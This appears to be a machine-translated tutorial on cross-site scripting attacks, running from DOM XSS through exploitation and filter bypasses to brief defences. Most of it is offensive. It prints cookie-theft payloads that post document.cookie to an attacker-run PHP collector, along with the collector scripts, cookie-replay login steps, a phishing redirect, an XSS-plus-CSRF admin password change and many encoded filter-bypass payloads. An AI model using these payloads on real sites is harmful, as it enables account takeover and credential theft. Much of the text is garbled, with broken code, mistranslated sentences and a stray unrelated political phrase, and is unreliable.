3, DOM – XSS:

The full name of DOM is Document Object Model, or Document Object Model. DOM is commonly used to represent objects in HTML, XHTML, and XML. Using the DOM allows programs and scripts to dynamically access and update the content, structure, and style of documents. You can refactor an entire HTML page with JS, and to refactor a page or an object in a page, JS needs to know the “location” of all the elements in the HTML document. DOM, on the other hand, provides a structured representation of the document and defines how to access the document structure through scripts. According to DOM, each component in an HTML document is a node.

**XSS utilizes the DOM’s structural definition

DOM structure is to build the nodes of HTML file into a tree structure, which reflects the hierarchical structure of HTML itself. A constructed javascript malicious statement can be used to modify a value in the HTML DOM structure to trigger cross-site scripting attacks. 天安门事件

< HTML > < head > < title > DOM XSS < / title > < / head > < body > < a href = "my links" / > < h1 > my title < / h1 > < / body > < / HTML >Copy the code

HTML tags are nodes, and these nodes make up the overall structure of the DOM: a tree of nodes. As shown in the figure:



Simply put, DOM is a standard programming interface for accessing HTML.

You can find that DOM itself represents the meaning of the document, and DOM-based XSS does not need to interact with the server side, it only happens in the client side processing data stage, is based on javascript. Both types of XSS require feedback from the server to construct the XSS.

DOM XSS example:

<script>var temp = document.URL; URLvar index = document.url.indexof ("content=")+4; var par = temp.substring(index); document.write(decodeURI(par)); </script>Copy the code

Get the value of the content parameter in the URL and print, if the URL? Content =, this file is named 1.html

<script>document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length)); </script>Copy the code

Let me first explain the above meaning:

Document.write is to write the contents to the page.

Document. URL is to get the URL address.

Substring retrieves content from somewhere to somewhere.

Document.url.indexof (” a= “)+2 retrieves the a= character from the beginning of the current URL, and then increments it by 2(since a= is two characters, we need to omit it), which is also the start value of the subString

Document.url. length is the length of the current URL and the end value of the subString.

Fetch the value after a= from the URL and display the value after a=.

How did this happen? This is because the current URL does not have a character of a=, and indexOf returns -1 if the retrieved value is not found. It returns 0 if it finds one. Document.url.indexof (“a=”) is -1, plus 2 to get 1. And then you go all the way to the end of the URL. TTP ://127.0.0.1/123.html

Now that I’ve got the general idea, let’s move on

We can add? To 1.html. A =123 or #a=123, as long as it doesn’t affect the previous path and makes sure that a= appears in the URL.



We clearly see that the character we typed is displayed.

So let’s type in<script>alert(666)</script>What’s going to happen?



But there’s no popover down here. Why is that? This is because browsers are different — Maxthon, Firefox, Chrome don’t — and they encode urls before you submit data. That’s not to say DOM XSS isn’t working, it’s just a simple example, so don’t worry about it.



Once again, DOM XSS is based on javascript and does not interact with the server. Its code is visible to you, while server – based reflective and stored code is invisible.

Principle of use: client JS can access the browser’s DOM text object model is the premise of use, when it is confirmed that there is DOM XSS vulnerability in the client code, and can induce (phishing) a user to access their own constructed URL, it means that malicious scripts can be injected into the victim’s client. Using steps and reflection is very similar, but the only difference is that the constructed URL parameters do not need to be sent to the server, can achieve bypass WAF, avoid the detection effect of the server.

DOM type XSS vulnerability demonstration

1. First we enter a random string of characters in the input box. You can see what do you see? The prompt. Let’s look at the source code



Right – click the review element to see

As you can see above, the input is concatenated into the href attribute of the a tag:

< a href='"+str+"'>what do you see? </a>So what we’re going to do is hyperlink, so we’re going to close it, form DOMXSS. To do what we want it to do'onclick="alert('xss')">So in the front end it becomes this:<a href=''onclick="alert('xss')">'>what do you see? </a>

The harm of XSS

In essence, the XSS attack is designed to “teach” the user’s browser to execute some front-end code that does not exist in the web page. The problem is that while a message box popping up isn’t exactly friendly, it’s not likely to cause any real harm. This is true, but it should be noted that the message box here is only for example, a real hack in XSS would not write alert (” say something “) in malicious code unless it was a hoax. Is to play other vulnerability types with XSS, will increase the harmfulness

1. Stealing cookie values from web browsing

In web browsing, we often refer to user login. After login, the server will return a cookie value. This cookie value is equivalent to a token, and holding this token is equivalent to proving that you are a user. If your cookie value is stolen, an attacker will likely be able to use your token directly to log into your account without a password. If you want to get the cookie value of the current page from a script script, you usually use document.cookie. Just imagine if you can write XSS attack statements in space talk, you can log in if you see the number of the person you talk about (but some cookies have other authentication measures such as: HTTP-only to ensure that the same cookie can not be abused).

Use storage TYPE XSS to manually steal cookies

Method 1: Javascript script:

< script > document. The location = "HTTP: / / http://127.0.0.1/xss_test/getcookie.php? cookie="+document.cookie; </script>Copy the code

Your PHP scripts:

<? php$cookie = $_GET\['cookie'\]; $log = fopen("cookie.txt", "w"); $fwrite($log,$cookie); $log = $log ($log = cookie.txt); / / closed. This method returns zero if successfully closed. If it fails, EOF is returned. Echo "Attack successful "; ? >Copy the code

Practice:

Now write a script for getcookie. PHP in your web server



It is then submitted to a message board with XSS injection

< script > document. The location = "HTTP: / / http://127.0.0.1/xss_test/getcookie.php? cookie="+document.cookie; </script>Copy the code

Log in to the background to view messages



At this point, you can go to the cookie. TXT file



Cookie value obtained

Now the database also has data

Method 2: Javascript script:

< script > var url = "http://127.0.0.1/xss_test/postcookie.php"; var data="cookie="+document.cookie; var nxhr= new XMLHttpRequest(); nxhr.open("POST",url); nxhr.setRequestHeader("content-type","application/x-www-form-urlencoded"); nxhr.send(data); </script>Copy the code

Your PHP scripts:

<? phpdate\_default\_timezone\_set("Asia/shanghai"); $cookie = $\_POST\["cookie"\]; $time = date("Y-m-d H:i"); echo $time; $refer = $\_SERVER\['HTTP\_REFERER'\]; $content = $time."::"."$refer"."::".$cookie."\\r\\n"; file\_put\_contents("cookie.txt", $content, FILE_APPEND); ? >Copy the code

Practice:

Now write postcookie. PHP in your own server



It is then submitted to a message board with XSS injection

< script > var url = "http://127.0.0.1/xss_test/postcookie.php"; var data="cookie="+document.cookie; var nxhr= new XMLHttpRequest(); nxhr.open("POST",url); nxhr.setRequestHeader("content-type","application/x-www-form-urlencoded"); nxhr.send(data); </script>Copy the code

Log in to the background to view messages

There is a blank message when viewing, then click F12 to view the source code of the page, it has been written in



Go to your own server and check cookie. TXT. You already have data

Use cookies for password-less login

Open the login screen, open the Firebug plugin and click on the Cookie TAB. (Note that if your Firebug plugin does not have a cookie TAB, please install firecookie plugin to see it.)

Then click the cookie-create cookie in turn, and fill the cookies obtained by the two XSS platforms in the pop-up interface, as shown in the figure



Here, please check the place where my arrow points, this is where the cookie validity period is set, otherwise the cookie will be invalid the next second after setting.



When the login page is refreshed again, the login page is displayed after the login. At this point, the process from cookie theft to exploitation is complete.

2. Hijack traffic to redirect malicious traffic

This is as simple as trying to insert a statement in the page like this:

<script>window.location.href="http://www.baidu.com"; </script>Copy the code

Then the website you visit will be redirected to baidu’s home page.

3. Use XSS to carry out phishing attacks

Implementation steps:

Experimental environment: CMS Shooting Range



1. Click Forget password to go tohttp://10.10.29.134/admin/wjmm.phppage



2. Create a PHP file, the content is the content of the target page to modify, the name is the same as in the page, and put in their own web root directory, to achieve phishing (you can also use the online clone method to try)



3. Place the newly completed URL in the user name box with XSS injection or in the URL (injection is passed through the URL), and move the mouse to forget the password to check whether the jump page has changed

http://10.10.29.134/admin/login.php?username=1234567asdfg "/ > < script > document. GetElementsByTagName (" body") \ [0 \] onload = fu Nction changeLink () {document. GetElementById (" myId "). The href = "http://127.0.0.1/wjmm.php"; }</script><aCopy the code

At this time click forget password, jump to the page we just modeled

4. Cooperate with CSRF to carry out progressive attacks

CSRF vulnerability Description: Cross-site Request Forgery (CSRF). The CSRF vulnerability is mainly caused by the fact that the key sensitive request can be forged and sent, and the server receiving process is not checked twice. Sensitive requests: requests for adding, deleting and modifying operations, such as adding accounts, changing passwords, deleting articles, etc. Secondary verification: The verification request is normally initiated by the user. For example, the image and SMS verification code, random token, and the old password must be submitted at the same time when the password is changed are the secondary verification.

Because in the place where the administrator account is edited, the password is changed without twice verification or confirmation, there is a CSRF vulnerability. XSS script is used to exploit the CSRF vulnerability by using BURP to copy the inherent attributes of HTTP requests that need to be forged into their own code

Specific operations are as follows:

1. Storage XSS vulnerability is found in the message board of the website

The input<script>alert(1); </script>, a pop-up window is displayed, indicating that XSS injection exists



Pop-up bounced



2. Log in to the background, click Change password, change the password to 123456, and use burp to capture packets



3. Combined with CSRF vulnerability, write a JavaScript script according to data packets

Send the HTTP header request and send the password change instruction to change the password of the admin account to 111



4. Enter the script in the message box and click Leave message



5. When you click on a message board



6. Log in to the original account and password. Through BURp, you can see that the password is not entered correctly, indicating that the password has been changed by the server



Log in using the modified 111. Check whether the login succeeds.

Use and bypass

In order to avoid the existence of XSS vulnerability, it is usually necessary to infer the security processing method of the application (namely, defense rules) during the XSS vulnerability test in HTML, which is output after certain security processing for user input, and adopt the corresponding bypass method to bypass the test. Generally, defense rules detect whether the input contains HTML tags or keywords of scripts and process the input. According to different processing methods, the input can be filtered, encoded, deleted, or inserted. Sometimes, multiple defense methods are used together.

1. Use symbols to judge statements

"; ! --"<XSS> =&amp; {} ()Copy the code

Keyword judgment: script, alert, javascript, expression… 1. Common event attributes:

onerroronmouseoveronclickonloadoninputoncutonscroll..........
Copy the code

2. confirm(), prompt()

2. Case bypass:

<img src="javascript:alert(0);" ><IMG SRC="javascript:alert(0);" ><iMg sRC="jaVasCript:alert(0);" ><img src=1 onerror="alert(/1/)"><iMg sRc=1 oNerror="alert(/1/)">Copy the code

This bypass occurs because the site only filters

http://192.168.1.102/xss/example2.php?name= < sCript > alert (" hey!" )</scRipt>Copy the code

Windows is case-insensitive. Lunix is case-insensitive

3. Double write bypass:

<script>alert(/xss/)</script><>alert(/xss/)</><scrscriptipt>alert(/xss/)</scrscriptipt><img src=1 onerror="alert(/1/)"><img src=1 oonnerror="alert(/1/)">
Copy the code

Specific steps to solve the problem:

1. Enter any input and press F12 to view the output position



2. Enter ‘ ‘in the output box; ! – “= & {} (). Check to see if symbols are filtered or escaped





It is found that the symbol is closed in double quotation marks and is not filtered or escaped

3. Construct an XSS statement for injection

"><script>alert(111)</script><"
Copy the code

Script was found to be filtered

4. Let’s try double-write bypass at this point

"><scrscriptipt>alert(111)</scrscriptipt><"
Copy the code

Another form:

Use filtered return statements to form attack statements again to bypass

This is not a very literal thing to understand, for example.

In this example, we simply type in the script tag and find that the script tag has been removed from the page code returned, but the rest of the content remains unchanged.



So we can create an artificial coincidence that the filter script tag still has a script tag in the statement (after all, the alert function is still there), like this:

http://192.168.1.102/xss/example3.php?name= < sCri < script > pt > alert (" hey!" )</scRi</script>pt>Copy the code

The problem is that only one script tag is filtered.

4. Convert the label attribute value to ASCII code

ASCII code is also known as decimal code. For example, the ASCII value of t is 116, represented by t Colon: represents :.

<img src="javascript:alert(0);" ><img src="javascrip&amp; #116&amp; #58alert(0);" >Copy the code

Converts javascript:alert(1) to ASCII

<a href=javascript:alert(1)><a href=&amp; #106&amp; #97&amp; #118&amp; #97&amp; #115&amp; #99&amp; #114&amp; #105&amp; #112&amp; #116&amp; #58&amp; #97&amp; #108&amp; #101&amp; #114&amp; #116&amp; #40&amp; #49&amp; # 41 >Copy the code

5. Perform hexadecimal coding on the label attribute values

For example, the hexadecimal code of A is a, which is the same as the ASCII code. Converts javascript:alert(1) to hexadecimal code

<a href=javascript:alert(1)><a href=&amp; #x6a&amp; #x61&amp; #x76&amp; #x61&amp; #x73&amp; #x63&amp; #x72&amp; #x69&amp; tx70&amp; #x74&amp; tx3a&amp; #x61&amp; x6c&amp; #x65&amp; #x72&amp; #x74&amp; #x28&amp; #x31&amp; x29>Copy the code

6. Blank instead

Spaces can be replaced with multiple characters. For example, /, //, %0a, %0d, and the blank out of the Table key are replaced by Spaces.

7. Base64 encoding

Such as < script > alert (” Hello “); < / script > : after a Base64 encoding PHNjcmlwdD5hbGVydCgisGVsbG8iKTs8L3NjcmlwdD4 =

<object data="data:text/html; base64,<script>alert("Hello"); </script>"><object data="data:text/html; base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="><META HTTP-EQUIV="refresh"CONTENT="O; url=data:text/html; base64,<script>alert("Hello"); </script>"><META HTTP-EQUIV="refresh"CONTENT="O; url=data:text/html; base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Copy the code

8. Base64, hexadecimal, hexadecimal, encoding is executed using eval().window[atob()]

Such as: alert (‘ XSS); After JS hexadecimal encoding: x61\x6clx65\x72\x74\x28\x27\x58x53\x53x27x29\x3b\ XA

<script>eval("\\x61\\x6c\\x65\\x72\\x74\\x28\\x27\\x58\\x53\\x53\\x27\\x29\\x3b")</script>
Copy the code

Window [atob (‘ eval)] :

<script>window\[atob('ZXZhbA==')\]("\\x61\\x6cx65\\x72\\x74\\x28\\x27\\x58\\x53\\x53\\x27x29\\x3b"); </script>Copy the code

9. Indirect transmission of parameters

The XSS payload statement is not executed directly. It is executed indirectly by passing malicious statements to parameters. Example 1: www.evil.com this website is a malicious page. This is a simple test page at http://10.10.10.135/xss/test.php.

http://10.10.10.135/xss/test.php?name=test < input name = "http://www.evil.com" value = "xsstest" Oninput ="window.location=this.name">http://www.evil.com can be directly replaced with malicious statements such as javascript:alert(1).Copy the code

Example 2(IE<= version 8)

http://10.10.10.135/xss/test.php?name=test < a Href = "123" id = "x" > test < / a > < script > x = 'javascript: alert (1)' < / script > < script > x.t oString () = = '123' < / script >Copy the code

In the practical application of XSS, web programs often pass some filtering rules to prevent the user input with malicious code from being displayed.

10. Code script code to bypass keyword filtering

In some cases, the server will filter the code for keywords (such as alert). In this case, we can try to encode the keywords before inserting them, but the direct display encoding cannot be performed by the browser. We can use another statement eval () to do this. Eval () decodes encoded statements and then executes them, which is so sweet.

For example, alert(1) is encoded

\\u0061\\u006c\\u0065\\u0072\\u0074(1)
Copy the code

So the constructed attack statement is as follows:

http://192.168.1.102/xss/example5.php?name= < script > eval (\ \ u0061 \ \ u006c \ \ u0065 \ \ u0072 \ \ u0074 (1)) < / script >Copy the code

Actively close the tag to implement the injection code

Look at this code



At first glance, wow! It comes with script tags. Look again, WTF! The input is placed in a variable!

At this point, we need to manually close the double quotes to implement the attack. Remember that javascript is a weakly typed programming language, and variable types are often not clearly defined.

With the idea, the next thing to do is simple, using the following statement:

http://192.168.1.102/xss/example6.php?name= "; alert("I amcoming again~");"Copy the code

Looking back at the following page code after the code injection, we find that we make coincidence all the time.



Close the quotation mark, wrap the line with a semicolon, add the code, close the quotation mark, and there you go!

11. Mix it up

In practical application, the utilization of vulnerabilities may not be so intuitive, and we need to constantly try, or even combine various bypass methods to achieve the goal.

These bypass attacks can be practiced online by xSS-Lab: xssaq.com/yx/index.ph…

Four: attention points of XSS

It’s not just script tags that can be inserted into code event attributes. In this case, we tried both methods and failed because script tags are completely filtered, but it’s not just script tags that can be inserted into script code.

For example, here we use tags as an example.

http://192.168.1.102/xss/example4.php?name= < imgsrc = 'w. 123' onerror = 'alert (" hey!" ) > 'Copy the code

I can pop over again happily. The reason is very simple, we specify the image address does not exist, which means that an error will occur, and the code in onError will be executed naturally.

Here are a few common pluggable tags.

<a onmousemove='do something here'>
Copy the code

The code runs when the user moves the mouse

<div onmouseover='do something here'>
Copy the code

When the user mouse over the block, it can be run (the user can overlay the page with the weight parameter). Similar to onclick, the user must click the block to run the code.

General idea of XSS injection attack 1. Find the suspicious injection point for any input, and press F12 to view the output position 2. Enter ‘ ‘in the output box; ! – “= & {} (). Check whether symbols are filtered or escaped. 3. According to whether symbols are escaped, construct XSS statements for injection. 4. See if XSS statements are executed, if no attempts are made to bypass 5. Finally, XSS injection is used to cooperate with other vulnerability attacks

Five: XSS vulnerability defense

XSS vulnerability defense

The power of XSS mainly depends on the extent to which JavaScript can be implemented. XSS cross-site scripting is formed because the input and output are not strictly filtered, which leads to the execution of client code such as JavaScript on the page. Therefore, XSS cross-site vulnerability can be fixed as long as sensitive characters are filtered.

Repair and prevention methods:

1. The Web client and server filter or escape user input and output, such as :<, >,script; ⒉ If the browser is set to the high security level and the Cookie attribute HttpOnly is set to true, the browser will prohibit javascript from accessing the Cookie with the HttpOnly attribute. 3. Install WAF, IDS, and IPS products on the Web server to intercept attack codes. 4. Disable the automatic password filling function of the browser to prevent phishing from obtaining the account password from the page or form.

Example: realize filtering special characters (figure XSS module defense source code in DVWA)

<? phpheader ("X-XSS-Protection:0"); // ls there any input? if(array key \_exists("name",$\_ GET)&amp; &amp; $_GET\['name'\]! = NULL) {/ / Get input $name = preg replace (' l "(. *) s (. *) c (. *) r (. *) I (. *) p (. *) t/I", ", the $_get \ [' name '\]); // Feedback for end userecho "Hello ${name}"; }? >Copy the code